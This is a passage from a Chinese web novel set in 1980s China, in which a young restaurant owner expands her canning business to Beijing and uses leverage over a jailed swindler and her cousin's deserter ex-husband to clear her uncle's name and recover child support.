贾志文暗骂,他还没说自己要走哪条路,他就说不顺路,这人可真不好相处! “同志,我没别的意思,就是听你们提到了许国忠,正巧,我也要去乡里告他呢。” 许金财原本不想搭理这个城市小眼镜,但当听到他的话时,心中不由得一动。 许金财问:“他把你咋的了?” 贾志文忿忿地说:“他扣着我媳妇孩子,不许我接她们回城团圆!” 听到这话,许金财兄弟仔细端详了一番贾志文,认出了人:“你是许巧燕家那个跑了的知青!” 许金财不明所以,他兄弟兴奋地解释道: “许国忠闺女嫁了个知青,娃都生了,那男人说跑就跑,自己个儿回了城,再没回来过。” 许金财恍然大悟:“哦!就是那个陈世美!” 许金财家的几人啧啧称奇,上下打量着这个传说中的本村陈世美。 贾志文若无其事地说:“那都是老黄历了……我现在要接巧燕和孩子回城,许国忠不放人,我只能想办法。” 许金财狡猾地问:“你说你要告许国忠,你当女婿的,要告你丈人什么?” 贾志文义正辞严地说:“我要告他带头违反计划生育政策,公然让他儿子偷生二胎!” 许金财心中一喜,追问道:“你知道他儿子躲在哪儿吗?” 贾志文说:“我当然知道。” 他心想,自己岂止是知道,就是他帮着表哥夫妇藏起来的呢。 许金财亲热地拉住贾志文。 “来来来,兄弟,咱们一道走,俺们也是去乡里告许国忠的,他太狠了,把俺家砖窑都给拆了……” 私人承包的中巴车敞着车门开了过来,乘务员站在门口探出半个身子,冲着外面潜在乘客喊道: “乡里一毛!乡里一毛!你们去不去?” 许金财扯着贾志文小跑了两步:“去!去!” 一行人挤上了拥挤的中巴车,伴随着车尾冒出的一阵黑烟,消失在了公路拐弯尽头。【你现在阅读的是魔蝎小说 moxiexs】 150-160 第151章 第151章罐头进京 罐头厂最近接了一个大单,要把“煤矿人家”牌罐头卖到北京。 说起来,这个大单子还和贺明珠有关。 去年的时候,贺明珠那个辈分大的发小张立新要去北京闯荡,临行前贺明珠给他包了五百块钱,把张立新感动得差点没当场以身相许。 张家没人支持张立新去北京做生意,尽管他们成天嚷嚷着要回北京老家,但那是以有正式工作为前提,而不是去北京当盲流。 张立新也不气馁,拿全部积蓄买了去北京的火车票,打算在北京扛大包、卖苦力,白手起家。 贺明珠知道后,在火车站月台送别张立新时,给他塞了个信封,里面是五百块钱,都是旧钱,有零有整,不打眼,方便花销。 张立新当时就感动得涕泪横流,作势要抱着贺明珠大哭一场,被她嫌弃地推开了。 “赶紧走,火车要关门了。” 贺明军在旁边提醒道:“把信封藏好了,两只鞋各塞一百,裤衩塞二百,剩下的留在手里花。路上留心点儿,别让人看见了。” 这年头火车贼多,都快成固定作业地点了,旅客一不留神,身上的钱就都成了小偷的绩效。 张立新苦着脸:“那不都有味儿了吗?” 贺明军瞪眼睛:“你丫事儿怎么这么多啊!不要拉倒,你去北京捡破烂吧!” 张立新敏捷地把信封往裤腰带里一塞,嬉皮笑脸地说:“那可不成,臭也得留着,这可是我发家致富的本钱!” 月台上铁路的工作人员已经在催促还没登车的旅客,火车头喷起一股股蒸汽,巨大的机器发动声响了起来。 顾不上再逗乐子,张立新拎着贺明军塞给他的一大包吃的,三步两步蹿上了高高的铁台阶,拉着车门一侧的栏杆,探出半个身子。 “这钱算我借你们的,将来一定千倍偿还!” 贺明珠冲他摆摆手,大声地说:“别让人在北京给卖了,囫囵个地回来过年!” 也不知道张立新听没听清,乘务员收回折叠梯、拉上铁门,他挤在窗户上,一直冲贺家兄妹挥手。 这一年贺明珠没听到过张立新的消息,再见到他时,已经是过年了。 张立新穿着最时兴的牛仔裤和皮夹克,头发用摩斯抹得油光锃亮,拎着两大盒稻香村点心,乐呵呵地来贺家拜年。 进门后,还没寒暄几句话,张立 新就迫不及待掏出厚厚一摞大团结,啪地拍在桌上。 “今年赚的不多,先还你五千块,剩下的等我今年挣了再还你,” 贺明珠看也没看桌上的钱,揶揄道: “哟,张叔,这是在北京挣大钱了啊?” 张立新笑得合不拢嘴,还要故作谦虚道: “什么大钱,也就挣了一点儿,刚够糊口……” 当初他揣着五百块去了北京,没急吼吼地要拉开架势做买卖,反而找了家便宜的招待所住下,每天去市里的几家百货商场观察,看看现在什么生意最好做。 正好有一家私人承包柜台的营业员年后单干,自己包柜台自己卖,柜台老板毫无准备,焦头烂额地找新营业员,和旁边的人抱怨营业员忘恩负义。 张立新见状便毛遂自荐,他长得精干,说话办事也清爽,和老板说话间就帮忙卖出一件衣服。 老板见状,二话不说就同意张立新来柜台上班,每个月给他开八十块钱的工资。 由于张立新是自己找上门的,不是老乡熟人介绍的,刚开始的时候,老板对他还挺提防,平时不是自己在柜台盯着,就是让他老婆来盯,每天都要查一次账,生怕被他昧下钱货。 后来有一段时间生意忙,老板顾不上柜台这边,等他忙完了想起柜台这边,急匆匆地来查账,却发现账上的钱一分一厘都没少。 张立新做了细账,货物进出情况都标得一清二楚。老板有时忙糊涂了,自己都搞不清往柜台送了多少件衣服,看了细账才记起来。 自从张立新做了营业员,柜台每月利润翻倍,老板高兴极了,二话不说就涨了十块钱工资,还嘱咐张立新不要对其他柜台的营业员说,免得他们也要求涨工资,这是行规。 张立新听了就笑笑,完全没当回事儿。 这个老板抠门,还故弄玄虚,要知道其他柜台给营业员开的工资都超过一百五十块了。 不过张立新也没打算长做,在摸清了进货渠道和商场关系后,便果断辞职,拿着攒下的工资和贺明珠给的五百块,租下商场门口的铁皮架,租金每月一千块,比租柜台要便宜一半。 张立新从北京郊区的浙江村的加工户批发了衣服,自己摆摊来卖。 从夏到秋再到冬,露天的铁皮架变成了商场内的柜台,张立新招了卖货的营业员,生意越来越好。 等到年底的时候,张立新足足赚了两万块钱。 他离开乌城的时候,身上只有贺明珠送的五百块钱,等他回来的时候,已经是“万元户”小老板。 张立新衣锦还乡,给老娘包了个大红包,又请全家去乌金年代搓了一顿大餐,把他的那些兄姐们羡慕得眼睛都是红的,班也不想上了,只想跟着他去北京赚大钱。 本地的亲戚们闻风而动,纷纷上门借钱,要不就是让张立新带着去北京,手把手教怎么赚大钱。 张立新在外面打熬了一整年,已经从七情六欲上脸的小愤青进化成了喜怒不动声色的笑面虎,轻飘飘就打发了这群亲戚。 张家兄姐们以前还当张立新是不懂事的小屁孩,呼来喝去的,现在也不由得以更加慎重的态度来对待他,甚至有些过度夸张。 张立新嘴上不说,心里觉得怪没意思的。 这亲情也忒容易变质。 也就是当着贺家兄妹的面,他还是原来的那个炫耀自己辈分大的小张叔。 “明珠,叔多一句嘴,有机会还是得去北京做生意,在乌城才能挣几个钱,北京简直遍地都是金子,捡都捡不过来。” 张立新劝道:“要是在北京,你家饭店能一口气开十家,大领导、外国人还有电视上的演员,都要去你店里吃饭,我卖衣服都见过好几个老外呢!” 要是别人肯定会以为张立新是在炫耀,只有贺明珠知道,他是真心诚意地觉得北京好,想带着她一起到北京发财。 贺明珠说:“我还要上高中,去了北京还怎么考大学啊?” 张立新一愣,对哦,贺家妹妹现在还是个高中生。 张立新匪夷所思地说:“你怎么还能在上学啊?” 贺明军不客气地“喂”了一声。 “你丫什么意思,我妹上学碍着你什么了?” 戳到妹控的肺管子了,张立新连忙解释:“没碍着,没碍着……我的意思是,人家专门做生意的也没明珠做的好,她这小丫头是吃什么长的,脑子也太好使了吧?” 贺明军嗤了一声,骄傲又故作含蓄。 “你说呢?这可是我妹妹。你在北京不知道,岂止是饭店,我妹还开了一家罐头厂,罐头都卖到了外省,供不应求,进货的电话都打到家里了,过年这几天都不消停。” 张立新这下是真惊讶了。 “这感情好,就算是在外地也能吃到你们家饭店的好吃的。回头给我拿几个罐头,我要带到北京慢慢吃。正好我现在每天忙得没空做饭,成天煮挂面,吃得我嘴里都快淡出个鸟了。你说说,这么牛逼一首都,不是吃炒肝就是喝豆汁,还有天理吗?” 贺小弟被逗得前仰后合,齐家红好奇地问:“豆汁真那么难喝吗?” 张立新夸张地说:“那岂止是难喝啊!我当时差点没把碗给摔了,还以为人家看咱是外地人,故意上的馊水呢!后来才知道,人家喝的就是这个味儿。” 贺明国惊奇地说:“可你不就是北京人吗?” 张立新语塞,呃了半天。 “我这是不是得被开除北京户口啊?” 贺明珠忍俊不禁:“行了,我给你写个条子,你直接去罐头厂提两箱,想吃什么口味自己选。” 张立新喜不自胜:“还是明珠会心疼人!叔明年再给你包个大红包!二侄子,你看看人家!” 贺明军撸袖子:“你小子占便宜还上瘾了啊?来来来,你好好和我说一说,谁是你侄子?” 张立新连连后退。 “明军儿……军哥,啊不,军叔……叔,你是我叔……冷静,大过年的,你可千万要冷……” “啊——” 现场画面实在惨不忍睹,贺明珠默默转过了头。 正月十五后,虽然还没出正月,已经算是过完了年,渐渐开始恢复正常的生产生活秩序。 这天,贺明珠刚下学回家,推门发现家里来了个不速之客。 “哟,小张叔,你怎么还没去北京,不做生意了吗?” 张立新目光炯炯,热切地迎了上来。 “明珠,你们家罐头北京的经销签出去了吗?要是没有的话,能不能让我来做独家代理?!” 贺明珠谨慎地问:“张立新,你是 不是喝多了?过年的时候你不是还在包柜台卖衣服吗?怎么突然就要卖罐头了?” 张立新一挥手,豪迈地说:“卖衣服的太多了,浙江村里都是做衣服卖衣服的,要是没有好货源,能卖多久衣服?可罐头就不一样了,全北京也找不到比这更好吃的罐头!” 张立新没等正月十五就回北京了,临出发前,他拿着贺明珠写的条子,去罐头厂提了两箱罐头。 张家给他准备了饺子带到火车上吃,可过年连吃了小半个月的饺子,再好吃也吃腻了。 张立新在火车上闲着没事,就想起了罐头。泡在热水加热一会儿,打开后浓香扑鼻,整个车厢的人都在抽鼻子。 在火车这种密闭空间中,长时间的单调路程使食物的香气格外具有诱惑力,哪怕胃里不饿,嘴巴也是馋的。 张立新坐在车厢侧面的折叠椅上,罐头摆在桌上,他拿勺子把里面的肉块往出蒯,下铺的大爷凑过来问: “小兄弟,吃什么呢?怎么这么香啊!” 八十年代时,人们在出行时对于旅途中萍水相逢的同路人更多的是抱着善意,没有那么多的提防,与素不相识的陌生人吐露心声并不是什么少见的事。 大概是因为当时人们还比较朴实,而且也没有手机消磨时间,在漫长的路途中,如果不会与陌生人相处的话,实在是太煎熬。 大爷上车的时候带了一只烧鸡和一瓶二锅头,豪爽地邀请张立新一起来吃。 张立新也不客气,吃了大爷的烧鸡,也分享了自家的饺子。 现在张立新开了罐头,自然也要请大叔一起来吃。 罐头是新出的口味,充满异域风味的咖喱鸡。 咖喱粉是贺明珠买了香料自制的,考虑到国人的口味偏好,特地做了本土化改良。 鸡肉滑嫩,土豆绵密,味道微辣,香味浓郁。咖喱汁明黄而稠和,冷馒头沾着吃都香。 大爷吃得香,不住地夸赞:“可真好吃!我还没吃过这样做法的炖鸡肉呢!” 中铺的小年轻馋得不行,又不好意思白吃人家的东西,用饭盒泡了一袋方便面,端过来热情地请张立新吃。 盛情难却,张立新就夹了两筷子面条。 这年头方便面是可以用来送礼的稀罕物,普通人家平时不舍得吃,只有产妇和病号有资格品尝。 但再好吃也只是方便面,和热腾腾的饭菜相比,吃起来怪凄凉的。 小年轻成功推销出去自家方便面,迫不及待地对张立新说: “同志,你拿的是什么?闻起来可真香!” 张立新不是个小气的人,人家暗示都这么明显了,他爽快地说:“朋友送我的罐头,特好吃,你也尝尝。” 小年轻拿起早就握在手里的筷子,精准地夹了一块鸡肉,才吃一口就眼前一亮。 “这是什么牌子的罐头,可真好吃,我还没吃过这种味道的鸡肉呢!” 车厢里的其他人见张立新好说话,纷纷拿着香肠、馅饼、橘子来套近乎,一个罐头不够吃,张立新索性又开了一个新的。 几个人分一分,足足有一公斤的罐头就吃得干干净净。 有人意犹未尽,又不好意思开口再要,拿起罐头瓶端详。 “煤矿人家……没听说过这个牌子的罐头啊。” 有从乌城站上车的本地人热情介绍:“这是我们矿务局的罐头厂生产的,可好吃呢,以前想买还要排队,还不一定有货。也就是最近产量大了,才能买得到。” 他拉开行李袋,炫耀地给周围人看里面满满当当的罐头。 “我特意带的,这可比什么特产都好使!” 其他人懊悔得直拍大腿:“早知道我就在乌城下车,买上罐头再走……外地能买到吗?” 本地人遗憾地摇摇头:“估计够呛,本地都不够买呢。” 张立新心中一动。 还没等他琢磨清楚,有人就问:“同志,我看到你带了两箱罐头上车,你可以卖给我几个吗?加价也行啊!” 旁的人被提醒了,忙不迭地说:“同志,我也要买!” “我也要,我也要!” 一会儿工夫,张立新随身带着的两箱罐头就卖了个一干二净。 火车到达下一站,离北京还有一半的路程,张立新毫不犹豫地跳下车,排队去买返程票。 还卖什么衣服,今年他要卖罐头! 张立新和贺明珠谈好独家代理的事,拿着合同和首批罐头回了北京。 没多久,他在商场租的柜台上摆满了罐头,来批发衣服的倒爷见状,奇怪极了,问营业员是不是换老板了。 营业员按照张立新的吩咐,在柜台前摆了试吃的罐头,倒爷们一尝,立刻更改了计划。 现在苏联老大哥轻工业拉胯,货架上没吃的,既然卖衣服赚钱,卖罐头也一样赚! 张立新说的没错,北京的市场潜力太大了,是乌城这个小池塘所比不了的。 罐头厂加足马力扩大生产,对原材料的需求也加倍上涨。 贺明珠忙中抽空去了一趟许家村,想和许大舅谈谈提高蔬菜供应量的事,可等她到了,却发现许家的气氛不对。 许大舅不在家,表哥表嫂也不在家。 大舅妈倒是在,躲在表哥屋子里看孩子,抹着眼泪说不清话。 贺明珠无奈,去粉条厂找许巧燕。 “怎么了?家里出什么事了吗?” 许巧燕眉头拧成了一个疙瘩,叹了口气。 “俺爹……唉,乡里来人查俺爹了。” 第152章 第152章明珠登场 贺明珠从许巧燕口中得知了事情的前因后果。 “许金财去乡里告状,说大舅徇私报复,故意拆了他家的砖窑?” 贺明珠匪夷所思地说:“就因为这,乡里成立专案组要来调查大舅?” 许巧燕一脸的愁闷:“唉,不止这个,俺哥偷跑出去生老二了,被人家抓住了把柄,说俺爹带头违反计划生育政策,不配再当村支书。” 许金财和贾志文沆瀣一气,双双联手,把状告到了乡里。 许金财这些年办砖窑没少赚钱,通过卖砖和乡里县里的不少能人拉上了关系,平时好酒好肉地伺候着,到了关键时刻就派上用处了。 贾志文知道表哥的下落,手里还有一张表哥亲手写的信,说自己带着媳妇去城里生老二了,让家里人别找他了,并让贾志文把这封信转交给许大舅。 贾志文当然不会把信拿出来,他捏着这封信就是捏住了许巧燕的痛脚,这可是犯人自认的证据,再有力不过了。 乡里原本并不打算受理这起因砖窑而起的官司,毕竟十里八乡的,像许大舅这样能带领乡亲致富的村支书没几个,但耐不住许金财咬着不放,也只得成立专案组,把事情查个水落石出。 砖窑的事好解决,前因后果都很清楚,有合同,有耕地破坏现场,还有拖欠租金的事实,专案组最多也只能批评一句许大舅的手段有点粗暴,但砖窑是不可能恢复的。 但表哥的事就有些麻烦了。 主要是他一直躲着不露面,谁也不知道他是不是真生二胎去了。 唯一的证据只有贾志军手上的那封亲笔信,许大舅想要反驳都无从说起。 许大舅一生做人做事光明磊落,到老了却要受这种委屈,关键是村里一些人立场不坚定,对许金财的话半信半疑,村里的风声就不太对了。 许巧燕叹气道:“俺爹想不通,这拆砖窑明明是件好事儿,怎么就闹成现在这样了?” 贺明珠却说:“这很正常,个体的利益不会总和集体的利益保持一致,就算农田被毁,也不影响许金财发财,更不影响在砖窑做小工的人挣钱。他们或许对许金财的吝啬刻薄表示不满,但也不代表他们就会站在大舅这一边。” 许巧燕吃惊地看向贺明珠。 贺明珠摊手说:“大舅一片好心,想的是子孙万代的长久发展,可对许多人来说,他们考虑不到那么长久的未来,只管当下过得舒坦不舒坦。归根究底,人只能站在自己的立场上来发言。村里人支持大舅的,是自家庄稼受到砖窑的影响,或是被许金财偷掘了田地的土;不支持大舅的,是在砖窑打工赚钱,拆了砖窑,他们的这份收入就没了。” 许巧燕憋了一会儿,才说出来:“乡里乡亲的,咋就考虑自己呢。俺爹也是为了村里好啊。” 贺明珠安慰地拍拍她的肩膀。 “好人不一定会有好报,问心无愧就好。” 许巧燕低落了一会儿,转而打起精神问道:“明珠,你来家是来找俺爹的吧?你等着,我现在就把他喊过来。” 贺明珠摇摇头:“不急。我记得刚刚你说灵灵的亲爹也来了,还拿表哥的事威胁你。” 许巧燕忿忿地骂:“这个狗日的王八羔子!我下次再敢来,俺把他卵子都扯下来!” 呃…… 贺明珠轻咳一声:“我记得他好像是姓贾?” 灵灵当初上户口本的时候,许巧燕坚决让她姓了许,家里平时压根不提姓贾的陈世美。 这么多年过去,贺明珠也不太记得这位前表姐夫姓什么了。 许巧燕说:“对,姓贾,叫贾志文,看起来是个知识分子,做的事都让人没法看!” 贺明珠若有所思:“我也认识一个姓贾的人,说不定……” 贾姓在乌城不是一个大姓,互相之间有着千丝万缕的血缘关系,拎出一个能带出一串。 贺明珠 危险地眯起了眼:“如果是他……” 许巧燕不解:“咋了,明珠?” 贺明珠起身,匆匆朝外面走去:“我回乌城一趟,不出意外的话,表哥的事应该很快能解决了。” 许巧燕追在她身后:“你不等俺爹回来吗?” 贺明珠说:“来不及了,这件事要尽快解决。” 她转身,对许巧燕说:“姐,你告诉大舅,让他把心放回肚子里,有我在呢,不会让他白白被冤枉的。” 贺明珠赶回矿务局,和学校请了两天假,包了一辆出租车,赶到了位于城郊的乌城看守所。 贾忠实被管教带出监区的时候,还以为是自家侄子来看他了,没想到铁栏杆对面居然是一个完全没想到的人。 “贺……老板,你怎么来了?” 贺明珠坐在铁栏杆的另一侧,掀掀眼皮,似笑非笑地看了贾忠实一眼。 “贾经理,在里面过得挺好的吧,人都精神了啊。” 贾忠实脑中飞快转动,思考贺明珠是为什么来看守所见他。 难不成她知道他干的那件事了…… 贾忠实脸上露出耗子般的笑,两颗大黄牙呲在嘴唇外面, “承蒙您关心,我还不赖,在管教的关心下,我的身心都得到了洗礼,我以后要响应中央号召,建设精神文明,坚持做个五讲四美的好人。” 贺明珠不和他兜圈子,径直说:“贾经理,您不想知道您进来前藏在外面的钱怎么样了吗?” 贾忠实心中一跳,强作镇定地说:“你在说什么,我听不明白,我哪有钱,我的钱都上交国家了,现在想买个牙刷都得找亲戚帮忙,裤衩都穿破了几个洞,一放屁就漏风,哪还有钱啊?我都可怜得要捡烟屁股抽了,您就别拿我打趣了。” 贺明珠看他这一副做派,凉凉地说:“那是挺可怜的,有钱没得花,还要装穷。” 贾忠实连声地说:“没装,没装,是真没钱……” 贺明珠打断他的话:“你没钱怎么拿别人的名字买了楼房,还在沙发底下藏了张存折?哦对了,不止是沙发,还有床底、衣柜、厕所……” 不待贺明珠数完藏钱的地方,贾忠实扑了上来,一把抓住铁栏杆,眼镜瞪得像铜铃。 “你怎么知道的!!!” 贺明珠闲闲地向后靠坐在椅子上:“若想人不知,除非己莫为,贾忠实,你也别太拿别人当傻子。” 关于贾忠实的事,贺明珠是从一个服务员口中听说的。 这个服务员最早是在乌金年代工作,后来被编制诱惑,跳槽去了乌全年代,每天仗着一张熟脸在门口拉客。 没成想乌全年代突然就倒了,他没了工作,还被拖欠了两个月工资,走投无路之下,他求到了贺明珠面前,求她让自己回乌金年代工作。 贺明珠没答应。 跳槽没问题,想寻求更好的发展是人之常情。 但他不应该帮着新单位去抢旧单位的老顾客,这就涉及到人品问题了。 饭店做的是入口的生意,安全问题是重中之重,要是哪天店里员工心存不满,往面粉袋里倒毒鼠|强的话…… 哪怕不下毒,只是往菜里吐口水,那也是绝对不可以容忍的。 即使这个服务员能说会道,干活麻利,一个人能顶两个人使,但贺明珠已经不相信他了。 或者说,他的道德瑕疵已经盖过了他的专业能力。 见贺明珠的反应冷淡,摆明了是要拒绝,服务员病急乱投医,想通过大骂特骂乌全年代来换取贺明珠的好感 ——事与愿违,这反而贺明珠对他这个人更加反感了,在心里给他打上了“永不录用”的标签。 最后是纪平波出面扮黑脸,贺明珠扮红脸,给了他一笔小钱把人打发走了。 这笔钱不多,刚好够他度过这段时间的难关,免得他狗急跳墙,记恨上乌金年代,在背地里使坏。 服务员拿着钱千恩万谢地走了,临走前作为回报,告诉了贺明珠一个贾忠实的秘密 ——贾忠实有一张**,照片是他本人,名字却是其他人的。 某天没注意时,贾忠实把假证落在了店里,被服务员捡到了。他偷偷记下那张身份证上的名字和住址后,才放回了原处。 贾忠实急匆匆返回,发现**还在原处,松了一大口气。看看四周无人,便把假证揣到上衣贴身口袋里走了。 服务员本能地觉得贾忠实藏着一张**肯定有猫腻,怕自己忘了,匆匆找了张纸条把刚刚记下的名字和住址写上去。 他留给贺明珠的就是这张纸条。 纪平波说:“他为什么不告诉公安?” 贺明珠耸肩:“谁知道呢,可能他也有什么想法吧。” 贺明珠原本没把纸条当回事儿,随手夹在了笔记本中。 直到从许巧燕那里得知贾志文的所作所为,贺明珠突然想起来她认识的另一个姓贾的家伙。 贺明珠回家翻出了纸条,拉着贺明军和徐和平出门,趁着工作日楼房里人少,指挥徐和平拿发夹撬开了贾忠实家的房门。 房子里长久没有人住,加上乌城污染重,进门后全是灰,呛得几人连连咳嗽。 贺明军边咳边抱怨:“你就是这么使唤亲哥的?” 贺明珠甜蜜地说:“要不是亲哥还不找你呢。” 贺明军无奈地摇摇头。 徐和平吐槽:“那我算什么?我都金盆洗手了,还拉我出来干这个,你好意思吗?” 贺明珠笑眯眯地说:“算是废物再利用,为什么要不好意思呀?” 徐和平:“……喂!” 兄妹俩加上徐和平,三个人把贾忠实家翻了个底朝天。 徐和平到底有经验,在隐蔽处发现了数张存折,都是贾忠实这些年坑蒙拐骗的战利品,数额足足有十万元之多。 贺明珠晃一晃存折,说:“这下就捏牢贾忠实这个老狐狸的后脖颈了。” 第153章 第153章抚养费与假孕 “你说吧,你想干什么?” 贾忠实收了笑,两颗黑豆似的眼睛射出精光,像一只成精的黄鼠狼。 贺明珠不紧不慢地说:“我要干什么,取决于你。” 贾忠实暗暗咬牙,他走南闯北这么多年,没想到最后居然会栽在一个小丫头手里。 “我道歉,不管是因为什么,我都道歉行了吧。” 贺明珠摆手:“别介,您这一看就不乐意,别勉强自己。我今天来也不过是要一个态度,你要是这样的话,也没必要谈,你想干什么就干什么吧,我想干什么也就干什么。” 她说完站起身,居高临下地看了贾忠实一眼,转身就走。 在开门前,她停下脚步,似乎自言自语道:“为了给我添堵,把自己的晚年都搭进去了,值得吗?” 话说完,贺明珠拽开门把手,一丝光线从外面照了进来。 “我承认,我承认,是我把你表姐的事告诉了贾志文!你别走,咱们有话好好说啊!” 贾志文冲着贺明珠的背影大喊,心里满是懊悔。 他早就知道这个姓贺的小丫头不是个好惹的,睚眦必报,心眼比针眼都小,怎么还敢招惹她啊! 自己真是昏了头了,当时就不该多那一句嘴! 那一丝光线缓缓消失,大门合拢,贺明珠的声音轻快地响起。 “早说不就得了,卖什么关子啊。行了,说说你对贾志文了解多少吧。” 当贺明珠离开看守所时,出租车还在门口等她。 这年头的出租车相当于后世的专享豪车,崭新的桑塔纳,司机的白手套,钩编坐垫,以及椅背上搭着的雪白布巾。 当然,打车的价格也是相当不菲。 八十年代的出租车司机月收入高达七八千元,和三四十年后网约车司机的收入差不多,考虑到通货膨胀的因素,当年的出租车司机妥妥的高薪收入群体。 贺明珠从看守所出来时,司机启动汽车,开到了她前面。 “姑娘,咱们接下来去哪儿?” 贺明珠包了一天的车,这 一天里出租车司机就听她派遣。 “回城里。” 贺明珠报了一个地址,是某个国企的单位所在地。 到了地方,出租车停在楼下,贺明珠径直进了楼,在一楼门房处被拦下来。 门卫问她:“姑娘,你来我们单位找谁啊?” 贺明珠说:“同志,我找贾志文,麻烦您把他叫下来。” 门卫迟疑:“找小贾?这上班时间的……你是谁啊,找他干嘛?” 贺明珠露出微笑:“我是他前妻的表妹,我来问问他,为什么二婚了还惦记前妻的家产?” 有八卦! 门卫眼睛唰地一下就亮起来了,忙不迭地说:“你等等,先别走,我马上叫他下来!” 门卫拨通了内线电话,不一会儿,就见一个戴眼镜的男人气喘吁吁地从楼上跑下来。 “贾志文?” 贺明珠上下打量,要是没这副眼镜的话,他看起来简直和贾忠实长得像一个模子里刻出来的。 贾志文也在打量贺明珠,目光慌张,低声喝道:“你怎么知道我单位在哪儿?!你想干什么!” 他余光瞥见门卫正兴致勃勃地探出大半个身子偷听,连忙拉着贺明珠往外面走。 贺明珠甩开他的手,故意大声道:“有什么事不能在这儿说的?你也觉得你做的事见不得人吗?” 贾志文又急又气,嘴硬道:“我干什么见不得人的事了?倒是你,跑到我们单位闹事,你这是破坏国企的正常秩序,是要被公安抓走的!” 贺明珠不吃他这一套,闲闲地说:“好啊,那你去报警吧。正好我也有事想要问问公安同志,有些人还没离婚就又结婚,这是不是违法了啊?” 贾志文慌了神,那边门卫听不清他们在说什么,打开门卫室的门走了出来,光明正大地凑过来。 “哎呀,小贾,怎么吵起来了?需不需要我帮忙啊……” 贾志文脸色都变了,要是被单位知道他干了什么,年底评优评先还有他的份吗? 他连忙低声劝贺明珠:“有话好好说,有话好好说……” 贺明珠径直问他:“你把巧燕她哥藏哪儿了?” 贾志文还想抵赖:“我哪儿知道,他一个大活人,连亲爹都管不了,我这个妹夫还能管的了他?” 贺明珠看他一眼,扬声道:“我表姐和孩子太可怜了,这么多年没吃过一口贾家的饭,没喝过一口贾家的水,你这个陈世美,我要告你们单位领导!” 门卫听得两眼直放光,脚下步子都加快了,生怕漏掉关键处。 贾志文快绝望了。 谁特么告诉许家人他在这儿上班的啊! 要知道他有胆气在背后使坏,当面勒索许巧燕,全凭许家人不知道他的住址和单位。 这就像有些人在网上肆无忌惮什么都敢喷,但被线下真实了就吓成鹌鹑。 贾志文回城以来一直扮演好人,特别是在单位里,那叫一个善良无害,但爱拍领导马屁。 如今他好好先生的画皮要被贺明珠扯下来,怎么不叫他心惊胆战。 “你小点声,小点声!我告诉你他在哪儿还不成吗?!” 贾志文绝望妥协,把表哥夫妇的藏身地一五一十地交代给了贺明珠。 贺明珠目标达成也没急着走,而是饶有兴致地端详着贾志文。 贾志文被她看得头皮发麻,粗声粗气地说:“我都告诉你了,你还想干嘛!” 贺明珠慢悠悠地说:“你欠我表姐的抚养费是不是要还一下?” 贾志文瞪大了眼睛:“凭什么!她生了丫头片子,还不随我姓,凭什么要我养!” 贺明珠说:“就凭你低劣的染色体被传承了下去。虽然不想承认,但灵灵确实是你的女儿。啧,感觉我们老许家的基因都被污染了,幸好灵灵不像你。” 贾志文被说得脸色极为难看,恨恨地盯着贺明珠。 贺明珠无所畏惧,手心向上,朝贾志文伸过去。 “给钱啊。十月怀胎没能让你分担一半,好歹钱要出的吧,你爽完一发就想无痛当爹啊?” 门卫已经走了过来,一副热心模样:“怎么样,小贾,谈得拢吗?要不要我帮帮忙?” 贾志文气冲冲地瞪了门卫一眼。 “不要!” 他拉着贺明珠走到远离门卫的地方,这次贺明珠没甩开他的手,从善如流地跟了过去。 “你要多少钱?我先告诉你,我可没钱,你想从我这儿讹钱是打错主意了!” 贺明珠也不废话,干脆利落地算了一笔账。 “我来之前打听了,你们单位效益不错,职工每月平均工资有六十块,你是八零年进来的,算你上了五年班,除去每月的花销,这些年下来应该至少攒了三千块钱。论理来说,你和我表姐没离婚,一半工资应该归我表姐——” 听到贺明珠说到这儿时,贾志文的眼睛瞪得要凸出眼眶。 贺明珠语调一转:“但你抛妻弃子,身为丈夫和父亲,没有承担过一天为人夫为人父的责任,所以这三千块应该全部归我姐。” 贾志文终于忍不住了,气急败坏地说:“你怎么不去抢!” 贺明珠没生气,看了贾志文一眼。 “我还没说完呢。” 贺明珠掰着指头数:“你没有抚养过灵灵,抚养费也应该算一算。考虑到农村花费少,就少算你一些,每个月按十块钱的标准,这么些年下来,你至少要付九百块钱——别这么看我,我已经把零头去掉了。” 贾志文从牙缝里挤出声音。 “你做梦!我一分钱都不会给你的!” 贺明珠也不生气,作势要上楼。 “行,那我就要和你单位领导好好说道说道,这都什么单位,开结婚介绍信前都不弄清楚职工的婚姻情况,给已婚的人开介绍信,这不是纵容犯罪吗?” 贾志文慌了。 “别,别,我给,我给还不行吗?!” 贺明珠转身,动作流畅地朝贾志文伸出手。 “早干嘛去了,痛快给钱不就得了嘛。四千块,麻利的。” 贾志文脱口而出:“不是三千九吗?” 贺明珠理直气壮地说:“那是之前的价格了。” 贾志文被气得眼前一阵阵地发白,还要低声下气地哀求:“我现在没那么多钱……先欠着,以后给行不行……反正你都知道我单位在哪儿,我跑不了……” 贺明珠干脆地说:“不行。谁知道你说的以后是什么时候,再说了,现在钱贬值的速度这么快,被你拖个几年几十年的,钱都不值钱了。你赶紧的,我还有事呢。” 贾志文无法,只得向单位请假,带着贺明珠去了他妈家,找他老娘拿了四千块的棺材本。 贾志文他妈不明所以,一直狐疑地拿眼睛看贺明珠。 贺明珠站在门口,也不进屋,外面就是出租车,出事儿的话一脚油门就能撤退。 见老太太瞅她,贺明珠阳光灿烂地冲她笑了回去。 贾志文一个劲儿地催促,急得都快吵起来了,老太太才心不甘情不愿地从被垛底下挖出了一个布包,里面装的都是她这么些年攒下来的养老钱。 贾志文把钱交给贺明珠,贺明珠没收,反而让出租车把两人拉到最近的银行门口,把这四千块的现金以灵灵的名义存了进去,直到拿到存折,这才算完。 期间有个小插曲,在柜台点钱的时候,柜员发现里面夹了几张**。 要不是贺明珠坚持要把钱存到银行,就要被贾志文母子坑了。 贺明珠一抬下巴,冲着贾志文说:“哎,你这人怎么用**还钱?” 在柜员异样的目光中,贾志文的脸涨得通红,手忙脚乱地把钱包里的钞票都倒出来,替换了**。 贾志文恨恨地说:“这下你满意了吧。” 贺明珠上下抛着存折,勉强地说:“将就将就吧。” 贾志文说:“你拿了钱,就不能再去我单位闹事,也不能再拿你表姐的事威胁我!” 贺明珠答应得爽快:“放心吧,我可不是你这种背信弃义的小人,做不出这种出尔反尔的事。” 这话说得,相当于又骂了一通贾志文,气得他呼哧直喘气。 “行,你给我记着,你知道我单位地址,我也知道你表姐家地址,哪天逼急了我,大家都别好过!” 对于贾志文的威胁,贺明珠深深看了他一眼。 “我有点好奇,你这么欺软怕硬,能怎么让人‘都别好过’?” 贾志文被噎住了。 